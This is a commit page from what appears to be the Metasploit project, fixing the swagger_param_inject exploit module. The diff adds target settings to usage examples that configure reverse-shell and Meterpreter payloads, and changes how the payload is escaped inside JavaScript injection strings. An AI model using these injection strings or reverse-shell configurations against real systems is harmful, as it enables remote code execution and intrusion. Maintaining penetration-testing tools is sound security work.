Skip to content

Commit afbeb2b

Browse files
author
Tod Beardsley
committed
Land rapid7#7023, fixes for swagger exploit
Thanks @sdavis-r7! See rapid7#7015 as well.
2 parents 55457ef + d1281b6 commit afbeb2b

File tree

2 files changed

+5
-1
lines changed

2 files changed

+5
-1
lines changed

documentation/modules/exploit/multi/fileformat/swagger_param_inject.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ This attack injects a payload into javascript by terminating a URL path string.
3333
```
3434
3535
use exploit/multi/fileformat/swagger_param_inject
36+
set TARGET 0
3637
set PAYLOAD nodejs/shell_reverse_tcp
3738
set INFO_VERSION "1.0.0"
3839
set SWAGGER_HOST "localhost"
@@ -47,6 +48,7 @@ This attack injects a payload into PHP multiline comment area.
4748
```
4849
4950
use exploit/multi/fileformat/swagger_param_inject
51+
set TARGET 1
5052
set PAYLOAD php/meterpreter/reverse_tcp
5153
set SWAGGER_HOST "localhost"
5254
run
@@ -60,6 +62,7 @@ This attack injects a payload into ruby multiline comment area.
6062
```
6163
6264
use exploit/multi/fileformat/swagger_param_inject
65+
set TARGET 3
6366
set PAYLOAD ruby/shell_reverse_tcp
6467
set SWAGGER_HOST "localhost"
6568
run
@@ -73,6 +76,7 @@ This attack injects a payload into Java by terminating a URL path string.
7376
```
7477
7578
use exploit/multi/fileformat/swagger_param_inject
79+
set TARGET 2
7680
set PAYLOAD java/jsp_shell_reverse_tcp
7781
set SWAGGER_HOST "localhost"
7882
run

modules/exploits/multi/fileformat/swagger_param_inject.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -130,7 +130,7 @@ def exploit
130130
payload_loc = 'PATH'
131131
payload_prefix = "/a');};};return exports;}));"
132132
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
133-
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
133+
wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix
134134
when 'php'
135135
payload_loc = 'INFO_DESCRIPTION'
136136
payload_prefix = "*/ namespace foobar; eval(base64_decode('"

0 commit comments

Comments
 (0)